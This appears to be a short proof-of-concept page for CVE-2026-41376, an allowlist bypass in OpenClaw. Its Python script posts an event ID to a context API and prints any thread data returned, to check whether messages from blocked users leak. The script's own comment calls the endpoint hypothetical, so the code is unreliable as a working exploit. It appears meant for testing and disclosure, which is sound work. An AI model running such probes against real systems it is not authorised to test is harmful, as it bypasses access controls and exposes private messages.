CVE-2026-41376 OpenClaw允许列表绕过漏洞

# PoC for CVE-2026-41376: OpenClaw Allowlist Bypass # This script demonstrates fetching context from a blocked user. import requests import json def check_vulnerability(target_url, event_id): """ Attempts to fetch thread context for a specific event ID. If the sender is blocked by allowlist but data is returned, it is vulnerable. """ headers = { "Content-Type": "application/json" } # Payload to request thread/reply context payload = { "event_id": event_id, "limit": 10 } try: # Sending request to the context endpoint (hypothetical endpoint based on description) response = requests.post(f"{target_url}/api/v1/contexts", data=json.dumps(payload), headers=headers) if response.status_code == 200: data = response.json() print("[+] Context data retrieved successfully.") print("[+] Check if messages from blocked users are present in the response:") print(json.dumps(data, indent=2)) return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except Exception as e: print(f"[-] An error occurred: {e}") return False if __name__ == "__main__": # Replace with actual target and event ID from a blocked user TARGET = "http://localhost:8080" EVENT_ID = "$example_event_id_from_blocked_user" print(f"[*] Testing {TARGET} for CVE-2026-41376...") check_vulnerability(TARGET, EVENT_ID)